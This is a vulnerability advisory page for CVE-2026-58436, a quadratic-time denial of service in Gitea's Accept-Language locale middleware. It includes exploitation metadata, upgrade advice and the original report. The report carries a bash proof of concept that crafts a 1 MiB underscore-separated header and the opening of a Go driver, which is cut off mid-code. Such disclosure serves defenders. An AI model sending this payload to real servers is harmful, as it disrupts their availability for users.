CVE-2026-58436: Gitea · ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
Affects code.gitea.io/giteaSource GCVE Database
Mentioned vulnerabilities
Not known to be exploited · CVSS 7.5 High : upgrade to 1.27.0 soon.
Data as of 30 Oct 2026, 11:52 UTC
- EPSS
- 0.6% chance of exploitation in 30 days – higher than 49% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 1.27.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by Gitea Limited
, 44 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 24 hours after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.
What to do
Upgrade code.gitea.io/gitea to 1.27.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gocode.gitea.io/gitea | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <